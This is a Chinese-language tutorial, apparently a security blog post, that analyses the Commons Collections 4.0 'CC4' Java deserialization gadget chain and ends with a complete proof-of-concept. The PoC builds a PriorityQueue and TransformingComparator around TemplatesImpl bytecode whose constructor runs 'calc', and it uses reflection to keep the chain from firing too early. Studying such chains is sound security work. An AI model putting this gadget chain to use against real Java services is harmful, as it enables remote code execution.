背景

在commons collections4.0版本之后,InvokerTransformer不再实现Serializable,导致CC1和CC3没办法再利用,本篇CC4利用链是采用CC3执行命令的方法-动态加载字节码,而头部也会采用一个新的类利用。

导入依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4链分析

CC4链子执行命令的方式和CC3相同,都是通过加载字节码的方式,因此该链的后半部分拿着CC3的poc用就行了。

这里代码就不做解读了,详情可以看我之前的动态加载解码、CC3部分

链尾InstantiateTransformer、TrAxFilter、TemplateImpl

先把CC3其中加载字节码的的代码部分拿出来,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class CC4Test {  
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
final Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
Transformer chainedTransformer = new ChainedTransformer(transformers);

//给变量设置值的静态方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

}

生成字节码部分,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesImplTest extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesImplTest() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}
}

先把我之前CC3的流程图拿过来看一下

此时,我们已经把通过加载字节码执行命令的代码写了出来,现在我们就需要找到一个能够调用transform()方法的类了

TransformingComparator

还是老样子,右键查找用法

其中在TransformingComparator#compare()方法中看到调用了transform()方法

跟进TransformingComparator#compare()看一下

链首PriorityQueue

TransformingComparator这个类没有可用的readobject()方法,因此继续往前找,可以找到PriorityQueue#siftDownUsingComparator()方法调用了compare(),如下图:

同时发现此类存在readobject()方法,跟进看一下,找一下它们的关联方式

看到readobject()方法存在heapity()方法

继续跟进heapity()

跟进siftDown

看到siftDownUsingComparator()方法,这样就闭合了,这算是能够自动调用siftDownUsingComparator()方法了,不用管太多,只是跟进一下看看readobject方法是怎么调用到siftDownUsingComparator的。

根据上方分析先完善一下POC如下:

半成品POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class CC4Test {  
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);


}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

两个问题

此时我们的POC还没完成,直接利用还是无法利用,还需要解决两个问题。

第一个问题

我们在调试过程中,发现此时的size值为0,这样就会直接跳过for循环,从而反序列化直接结束,我们需要更改它的值。

size就是PriorityQueue 这个队列的长度可以理解为数组的长度

选中size>>>1并右键选择计算表达式

可以看到结果为0,现在需要更改size的值,等于以就可以进入for循环。

把size改为2即可。

因此需要添加两个数,将数组长度增加到2,代码如下:

1
2
priorityQueue.add(1);  
priorityQueue.add(2);

直接添加即可

第二个问题

第二个问题就是第一个问题引发出来的,因为priorityQueue.add(1)在添加过程
中,就会触发compare()方法,导致利用链生成。

可以跟进看一下是怎么触发的

跟进add()

跟进offer()

跟进siftUp

跟进siftDownUsingComparator,看出触发compare()

因此需要把之前的chainedTransformer给替换掉,放到add方法后,这样就可以防止提前触发利用链
替换前

1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); 

替换后
随便替换一个

1
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

等add()完之后就可以通过反射将它的值在更改回来,如下为反射修改:

1
2
3
4
Class c =transformingComparator.getClass();  
Field transformingField= c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator,chainedTransformer);

最终POC

把上面提到的合并一下poc就完整了。
如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public class CC4Test {  
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);


Class c =transformingComparator.getClass();
Field transformingField= c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator,chainedTransformer);


// serialize(priorityQueue);
unserialize("2.bin");


}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意事项

这些代码我在CC3中已经分析过了,详情可以到CC3文章看,我这里再简单说一下,以便理解。

1
2
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第一行是创建了一个Transformer数组,并加入new ConstantTransformer(TrAXFilter.class)instantiateTransformer两个值。ConstantTransformer也已经介绍过了,不管ConstantTransformer.transform()传入什么都会返回TrAXFilter.class,以便绕过参数不可控问题。

同时instantiateTransformer#transform()可以获取传入类的构造方法并实例化。

第二行是把该数组加入到ChainedTransformer中,ChainedTransformer.transform()它会把第一个传入值的结果,当作第二个值得参数传入。简单来说,就是把第一行的TrAXFilter.class当作参数传入instantiateTransformer类。

流程图

CC4

总流程图

总结

那如果有人有疑惑,既然是用的CC3的执行命令的方法,为什么CC3不用这两个头部类,原因其实就是CC3的commons collections3.2.1版本TransformingComparator类没有继承Serializable接口,而commons collections4继承了,所以CC4能用这个类
commons collections4

commons collections3.2.1

前面的链子理解之后,CC4以及后面的链子都很好理解且简单了,该链只是在CC3的基础上增加了两个类,算是换了个能调用transform()的类。